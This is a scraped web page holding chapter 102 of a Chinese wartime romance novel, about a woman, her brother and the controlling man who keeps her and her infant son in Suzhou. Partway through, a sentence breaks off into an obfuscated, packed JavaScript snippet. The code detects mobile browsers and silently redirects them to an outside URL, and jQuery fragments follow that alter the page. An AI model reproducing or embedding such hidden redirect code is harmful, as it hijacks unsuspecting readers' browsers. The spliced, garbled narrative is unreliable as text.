默认冷灰
24号文字
方正启体

102. 风雨初灯

作者:张安饶本书字数:K更新时间:
    褚南峤看向不远处的房门,外间静悄悄的,好像没有人在。


    于是两步上前俯到南殊身侧,做口型问:“你答应他了?”


    南殊眉心酸疼,翻过白眼才把孩子送到南峤怀里。


    自己在床头抓了一把,两指捏起那枚戒指逼到弟弟眼前,问道:“你看看,认得吗?”


    看见拿东西,褚南峤面色一滞,想去拿却被南殊躲开。


    这是他亲手从姐姐桌上拿起,戴在茉莉手上,又安排人卖出去的东西。褚南峤怎么都不会忘。


    “以前是你的求婚戒指,现在是我的了。”她起初还是阴阳怪气,可说到后面嗓音却越来越沉。


    “他什么意思?”褚南峤攥紧拳头,从南殊手中夺过那枚戒指扔回床头,“他怎么敢!”


    这种脏东西,就应该在变现为利益后永远消失,而不是回到南殊手中成为捆绑她的枷锁。


    “你以为恶心,人家却觉得是情深。”她压下南峤怀中的襁褓去摸孩子的小手,泛白的脸上露出笑意。


    南峤却直接将孩子放入摇篮,握住南殊的手腕于床边坐下:“非要受这个委屈?就不能再拖一拖了?”


    南殊看都没多看弟弟一眼,眼神随着襁褓落进摇篮,食指穿过栅栏的间隙点了点他的小脸。


    “你说呢?”他用力握了下,尽力保持语调温和。


    “我说什么?”南殊皱紧眉头,“要是把贺绍卿惹急了再把我送回去,我的儿子怎么办?”


    小娃娃好像听懂妈妈在叫自己,动动鼻子轻轻哼了一声。南殊忙将手搭在摇篮上轻晃,酸涩在心头堵得厉害。


    “我已经够对不起他了。”


    眼泪顺着鼻尖流下,她偏头去挡,却还是被南峤发现。


    “别哭!”他慌忙扯出衬衫的袖口去擦,“月子里不能哭的。”


    “知道的还不少。”南殊将其推开,自己用帕子擦了两下。


    再开口时还带着浓重的鼻音:“不过我跟他说了,三年不结婚。等那些人滚出......”


    “嘘!”褚南峤突然打断南殊的话,瞥了眼门口向前挪了挪身子。


    她抬头去看,果然不出几秒,贺绍卿就推门走了出来。


    看见姐弟二人手牵着手对坐的模样,贺绍卿的心头莫名刺痒。


    他顺着床边过来,渴求的眼神缠绕在南殊身上。


    南峤下意识起身将姐姐护在身后,抬手抚了下南殊的鬓角。


    贺绍卿见状也有样学样,却被南殊侧脸躲开。


    他也不恼,盯着床头的戒指半晌,忽而一笑,问道:“怎么不戴着?不和手吗?”


    “抱孩子不方便。”南殊冷声。


    “还是戴上。”他从南峤的掌心中扯出南殊的手,将那枚戒指重新套了回去。


    欣赏般抚了下,笑道:“很好看。”


    钻石晃眼,南殊只觉得头晕。抬手按了按额角跳动的血管,嘴角向下扯着道了声:“谢谢。”


    “照顾你,是我的分内之事。”他顺势将褚南峤从床边挤走,自己站到南殊面前。


    从一旁的木匣中取出片参送到她的唇边,自作主张道:“味儿淡了,换一片吧。”


    南殊不愿在小事上同他饶舌,便将舌下的参片吐进手帕,接过贺绍卿递来的含进口中。


    但还是有意撇开视线,不去看那张惹欲求无厌的脸。


    贺绍卿见她的神色还是飘忽不定,呼吸便急促起来。


    “如今战时,两地交通不便,南峤也不能常来看你。有什么话,就今天都说了吧。”


    褚南峤闻言,脸色立刻冷了下去,但又碍于身份不能当场发作。


    南殊也听出了贺绍卿的弦外之音,明摆着就是看不得他们姐弟二人见面。于是按住小腹,强压下腰间的不适坐直身子。


    南峤见状,连忙上前去扶。


    “没事。”南殊强撑着笑了下,有意紧紧扶住他的小臂,“回去帮我向大姐问好。”


    她这点心思摆在明面上,褚南峤都不用多问半句就能接得上戏。


    背着贺绍卿白了南殊一眼,还是在点头后将她拥进怀里。


    她顺势攀靠上去,以病弱之姿依在褚南峤的肩头:“你要好好儿的,姐姐才能安心,知道吗?”


    贺绍卿盯着她这副样子,手指在袖下不断收紧,发出“咯噔”的声响。


    此刻她靠在旁人的肩头,眉眼如月般柔和,音调轻得似春风拂面。每一个姿势都透露着全心全意的依赖,那是源自他从未拥有过的信任。


    妒火翻涌,快要把他的整个胸腔炸开。


    可面上,贺绍卿还是逼着自己勾出轻飘的笑:“南峤是你弟弟,我怎么会不护他平安呢?不过有些事,弟弟是替不得的。”


    说着,贺绍卿便上前一步将二人分开。按住南殊的肩膀,眸中荡起汹涌的波:“今后有我,必不会让你像从前一样辛苦。也不需要旁人的安慰。”


    “绍卿,我明白你的心意。”她出乎意料的并未挣脱。抬起脖颈深深望去,一双杏眼如灵鹿般流转,似在求些什么:“也希望你能明白我。”


    她决不允许褚南峤出事,哪怕只是丁点伤害,都足矣破掉她与贺绍卿之间那点薄如蝉翼的情分。


    他还是见不得她低头。明知道她的利用与欺骗,还是忍不住双手捧起。


    为了让她能够安稳留下,贺绍卿只能按耐住心思,把褚南峤平安送回租界,且暂停了对褚家产业的一切威逼。


    南殊在出月之后就没闲着,很快向贺绍卿提出要继续经营褚家纺织业的要求。威逼利诱地让他帮自己,给厂里支援前线的事情做掩。


    这种事情是贺绍卿做惯了的。从前南殊烧毁的暗仓里就有他因收受好处,而替这类组织存放的货物。


    贺绍卿在贪图钱财之余也算留了个心眼。万一日后伪政府倒了,这点功绩还能保他平安。


    如今南殊主动提及,他更没有拒绝的道理。毕竟能够把两个人绑在一条船上的机会不多,他自然鼎力相助。


    如今战时,苏州的新年不比租界热闹。从前大年初一一觉醒来,街上满地的红色,家家门前都走着络绎不绝的亲友。


    今年就只有灯笼摇在风中,零星几个孩子往巷口跑去,朝气一闪而过。


    午时,贺宅正门大开。


    玫瑰红色的斗篷曳过门槛,内里旗袍上的金线云纹若隐若现。


    南殊被几位女佣簇着进门,怀里的娃娃靠在她翻领处的白狐毛上,不小心吃了一嘴,正往外吐着舌头。


    “熠熠,玩什么呢?”南殊感受到脖颈处传来一阵浅浅的吹气,偏头时发髻处的波浪纹理


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628905|188006||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在正午日光下泛起柔和的光泽。


    小娃娃扬起脑袋,抓住那片白色的狐毛还要往嘴里塞。


    南殊连忙按住孩子的小手阻止,又顺便帮他理过头上绯色的虎头小帽。


    贴了贴孩子的脸,柔声问:“今天和妈妈去兜喜神方,开不开心?”


    昭熠将眼睛睁得滚圆,轻轻撞了下南殊的脸颊,自己把自己逗得咯咯直笑。


    大声唤道:“妈妈!”


    “诶!”南殊笑着应声,把怀中的小人又搂紧了些才往院内走。


    还没进二门,就撞见了今早饭桌上刚见过的人。


    她原本想装没看见,快点把孩子抱走。没成想贺绍卿径直朝她走来,南殊只得不情不愿地过去。


    “熠熠回来啦。”贺绍卿满眼都在母子身上,朝南殊伸出手去想要抱人,她却没理。


    贺绍卿也不在意,俯身朝孩子拍了拍手,逗弄道:“叫声爸爸听听。”


    看着面前的人,褚昭熠愣了半天,先是伸出肉手去抓,旋即又嘟起小嘴把脸埋在南殊肩头。偷偷转动小眼睛,去瞄贺绍卿的动作。


    南殊爱抚了两下孩子圆圆的后脑,脸上浮现出一抹复杂的笑:“看见没,人家不理你。”


    “你又不教他,他当然不会叫。”贺绍卿面露不快,跟在南殊身后往屋里走。


    “我早就说过,昭熠是褚家的孩子。”她神色淡然,“你不让我回褚家,我更要提醒我的儿子他的家在哪。”


    这大半年贺绍卿一直以路途危险为由,不让南殊带昭熠回上海。她心里有怨,半分笑脸都没赏过,贺绍卿早就习以为常。


    他打心眼儿里觉得孩子养在贺家,认他不过是早或晚的事,不必强求一时。且今日新春伊始,也是时候让她听些好事:“明天初二,我带你回上海。”


    “呦,怎么突然想明白了?”南殊讥讽,全然不觉得这是真话。


    “褚南峤要结婚了。”贺绍卿不紧不慢,“你这个做姐姐的,不得回去看看?”


    “你说什么呢?”她僵硬地转过头去,声调陡然拔高几分。倒不是反对婚事,而是因为她从前没有听到过一丝一毫的风声。


    这大半年来虽然没看见褚南峤的人,可书信电话不断。他从未对婚事提及过一言半语。


    南殊的心里闪过不安,却还是选择冷脸嘲讽:“你扯谎都不过过脑子吗?”


    贺绍卿见状也不多言,只上下将南殊打量一番,留下句“明天你就会明白”,便转身向内院走去。


    南殊不以为意,双手抱起孩子让他站在自己腿上。昭熠开心地蹦了两下,闹得小脸通红,一派喜气洋洋。


    褚公馆门前体面,对联纸上的金箔泛着光芒。


    褚南殊抱着孩子从轿厢出来,眼神在不远处插着旗帜的车上停留片刻,心间泛起疑虑。


    拍下了孩子的背,在昭熠耳边轻声道:“抱紧妈妈。”


    他立刻乖巧的贴上去,一声也不吭。


    贺绍卿从车子的另一头绕来,顺手拖住南殊的腰肢道:“过年牧野先生来褚家问候,不必慌张。”


    “牧野先生?”南殊挑眉,耳上的坠子随着动作轻摆。


    贺绍卿刚要开口解释,就见褚南峤带着一行人出来。牧野政辉走在他的身侧,二人相谈甚欢,如同多年未见的旧友一般。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)